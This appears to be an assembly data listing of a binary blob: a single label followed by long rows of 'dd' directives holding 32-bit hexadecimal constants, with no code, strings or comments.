0DEC0120h dd 0A00A1D55h, 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h dd 1FC1F927h, 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh dd 6C00A466h, 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch dd 4C185B66h, 7C006F74h, 128C8984h, 9C092494h, 8791A448h dd 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h dd 0C5C0140h, 1C121489h, 2C48C424h, 22349107h, 4C17443Ch dd 0F81754F1h, 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h dd 0BC80E5BDh, 5390408h, 8E641C00h, 6A236547h, 5FA83E89h dd 48605403h, 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h dd 46801Ch, 88E02363h, 38C46494h, 1FEC7200h, 306548E2h dd 8C5E00F0h, 11660423h, 100D560h, 37842A93h, 0E500D14h dd 4B4A4847h, 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah dd 454104ECh, 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh dd 0AF6E5A6Dh, 74052F00h, 17A7877h, 61200176h, 606F6965h dd 9160B998h, 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh dd 0E0315132h, 71B09840h, 9EB0FFh, 0C8101101h, 30912009h dd 44312200h, 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh dd 19F3F0F2h, 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch dd 741724DEh, 30408C48h, 0ECD444BCh, 59040288h, 34121881h dd 6420FA8Eh, 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh dd 9B382F3Fh, 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h dd 931500F4h, 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h dd 86B8E4h, 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h dd 0F820006Ch, 0A4225027h, 24009B03h, 41659885h, 0F95018Fh dd 728409E8h, 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h dd 7CA3F003h, 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h dd 70EC09E0h, 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch dd 4A96C06h, 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h dd 0B5A89048h, 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch dd 0B35A0350h, 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h dd 6020504h, 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch dd 0A403BEBAh, 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh dd 105C030Eh, 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h dd 1A6C3616h, 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh dd 0A024B1D7h, 0C826E488h, 7A279924h, 20192801h, 6E8954D9h dd 3B003160h, 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h dd 34483E22h, 2F6892h, 2C36317Dh, 9009937h, 0C1399032h dd 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh dd 37714B0h, 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h dd 785DD9BEh, 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h dd 4411003Fh, 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h dd 0A1E05760h, 3652400h, 0C4793310h, 4807519h, 0DC592CB1h dd 12218022h, 422486E0h, 0D200B088h, 5C809219h, 9300053h dd 3C247214h, 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh dd 442000Ch, 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h dd 65193440h, 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh dd 366AC2Ah, 41500998h, 8DC057F7h, 0D9F82808h, 49145900h dd 9FB4298Ch, 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h dd 54C1D939h, 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h dd 32BF00E0h, 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h dd 1134F8h, 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h dd 0C9083F2h, 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h dd 3FB4C841h, 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h dd 5CE090B0h, 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h dd 94B059F2h, 70C00C84h, 2390B199h, 995AC00h, 74329CDCh dd 258C0261h, 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h dd 0D7011E41h, 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h dd 1800869Eh, 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h dd 8FEC978Dh, 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh dd 9CC8B047h, 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h dd 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h dd 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h dd 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh dd 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh dd 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h dd 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h dd 27B83411h, 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h dd 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h dd 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh dd 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh dd 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h dd 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h dd 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h dd 0BF08E429h dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h dd 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h dd 446DD300h, 0F83046h, 69757243h, 617B63E4h, 0EB537E00h dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h dd 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h, 0EC46FE00h dd 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h, 0A6001AF4h dd 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh, 0D0548325h dd 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h, 7773F02Dh dd 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h, 17AD23Dh dd 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h, 899B1D00h dd 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h, 72504300h dd 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh, 61488E3Fh dd 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h, 565A5216h dd 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h, 0A3938E00h dd 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h, 4D18B0E8h dd 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh, 0A98A5724h dd 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch, 0C033DA99h dd 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h, 3D9A6600h dd 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h, 52F0ABF3h dd 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h, 79288A4Eh dd 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h, 38527A4Bh dd 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h, 0BE406279h dd 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h, 619E00FFh dd 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h, 3F29767Bh dd 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h, 9A4F29D9h dd 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h, 29747561h dd 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h dd 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h dd 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah dd 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh dd 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h dd 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h dd 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh dd 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h dd 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h dd 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h dd 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h, 149738Bh dd 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh dd 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h dd 73F70DAh, 41256361h, 0F22EC097h, 5D005051h, 93C077A2h dd 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh, 24DF3E00h dd 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h dd 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h dd 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h dd 0D5004967h, 252366EDh, 38699FA0h, 9480B970h, 0A276B444h dd 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h dd 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h dd 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh, 9C9BA8h dd 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh dd 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h dd 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h dd 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h dd 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h dd 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h, 981A0C7Dh dd 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h, 18547078h dd 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h dd 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h, 70801h dd 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h, 0E850E44Ch dd 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah dd 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh dd 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h, 0F93AF132h dd 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h dd 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h dd 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah, 0BF90B87Eh dd 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch, 55362161h dd 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh, 1ECD9EC2h dd 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h, 0B43A6730h dd 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h, 7EAE7EA8h dd 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah, 2E672847h dd 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh, 303B1AE1h dd 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h, 1D2E9D15h dd 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h dd 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h, 0E172D92Dh dd 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh, 8CC0007h dd 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh dd 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh, 3EFE971Eh dd 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h, 1CFC7E0Eh dd 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh, 87F980EEh dd 3083302h, 21471827h, 0F0017267h, 93C789A7h, 0A1C999E7h dd 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h dd 72351900h, 7627741Fh, 6278014Ah, 3F368349h, 0D0C9C9B5h dd 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h dd 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h, 663D4A3Ch dd 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh, 0D3C3A1B3h dd 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h, 12A71DCCh dd 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h, 0CF19ABC8h dd 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah, 1CF2007Eh dd 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh, 7873762Bh dd 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h dd 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h dd 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h dd 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h, 643203CFh dd 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h dd 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h, 459E3E1Dh dd 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h dd 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h dd 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h dd 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h, 0F279E3h dd 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh dd 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h dd 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h dd 0CFAACFA2h, 0C0C4CFB2h dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h, 9E758473h dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh dd 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h dd 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h dd 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h, 2E0F26CFh dd 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh, 7EF27603h dd 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch, 0E1190DCh dd 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh, 20FD7CC0h dd 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h dd 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h, 1C00143Ah dd 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h, 6C7E647Ch dd 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh dd 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h, 195B03Ch dd 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh, 40E884E7h dd 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h, 7404723Dh dd 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah, 643D5C3Ch dd 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h, 0F9C04FE9h dd 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h, 1C3E0114h dd 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h, 0EC6CEC74h dd 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h dd 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h dd 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h, 4C884830h dd 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h, 49E0122Ah dd 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h, 612501D4h dd 51347882h, 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h dd 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h dd 3970FCh, 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h dd 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h dd 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h dd 93043D80h, 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h dd 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h dd 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h dd 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h, 60CF5C22h dd 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh, 12BC8732h dd 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h, 4D3A1434h dd 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh, 0DE70B5A1h dd 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh dd 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h dd 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h, 0DA2474BAh dd 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh, 0B840A4CFh dd 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h dd 44095670h, 4F848F4h, 49D25094h, 419A4A58h, 0E2F1C688h dd 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh dd 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h, 818E259Fh dd 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h dd 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h, 0A748009Fh dd 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h dd 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h, 9F00A72Eh dd 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h dd 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h, 2B0E0058h dd 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h, 0D8A5437Fh dd 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h dd 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h, 47780203h dd 989B6787h, 12AEFEh, 940CF188h, 30050708h, 0D824A509h dd 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh dd 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h dd 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h dd 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h, 0C45385h dd 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h dd 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h, 11360800h dd 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h dd 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h, 610F2BC9h dd 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h dd 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h dd 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h, 4BD897A2h dd 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h dd 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h dd 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h dd 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h dd 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h dd 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h dd 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h dd 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h dd 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh dd 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh dd 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh dd 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh, 97C9893Fh dd 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h, 48493327h dd 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h, 86317247h dd 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h dd 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh dd 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h dd 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h, 0E53A0Fh dd 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h, 3E560060h dd 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h dd 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h, 356D001Ch dd 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h dd 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h dd 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h dd 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h dd 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h dd 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h dd 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h dd 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh dd 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch dd 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh dd 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h dd 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch dd 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh dd 38A0DE3Bh, 0E8FF3Dh dd 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh dd 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h dd 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh, 5E75747Eh dd 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h, 0C8630080h dd 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah, 1007EC2Dh dd 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h, 0F13CC038h dd 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h, 0F498F090h dd 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h, 5AF1C0C9h dd 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah, 0DC42C29h dd 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h dd 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h, 0C8986C00h dd 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h, 0D62D8A0Fh dd 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h, 0E7B0212Dh dd 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h, 0F8895961h dd 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h, 0A73E19A0h dd 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h, 700827B5h dd 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh, 0C1016349h dd 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h, 88739250h dd 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h, 0E0224418h dd 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch, 0F2AD80A7h dd 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h dd 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch, 0C0D11CCFh dd 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh, 0AEF20049h dd 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h, 583BDAD4h dd 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh dd 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h dd 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h, 28823302h dd 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h dd 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh dd 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh dd 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h, 44070292h dd 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h, 0A08EC798h dd 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h dd 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h, 92620026h dd 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h dd 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h dd 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h dd 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h dd 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h dd 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h dd 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h dd 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h dd 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh, 1F71FAACh dd 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h dd 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h dd 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah, 3C9100D9h dd 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah, 0F42CF028h dd 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h, 12140037h dd 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h dd 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h dd 787C527Ah, 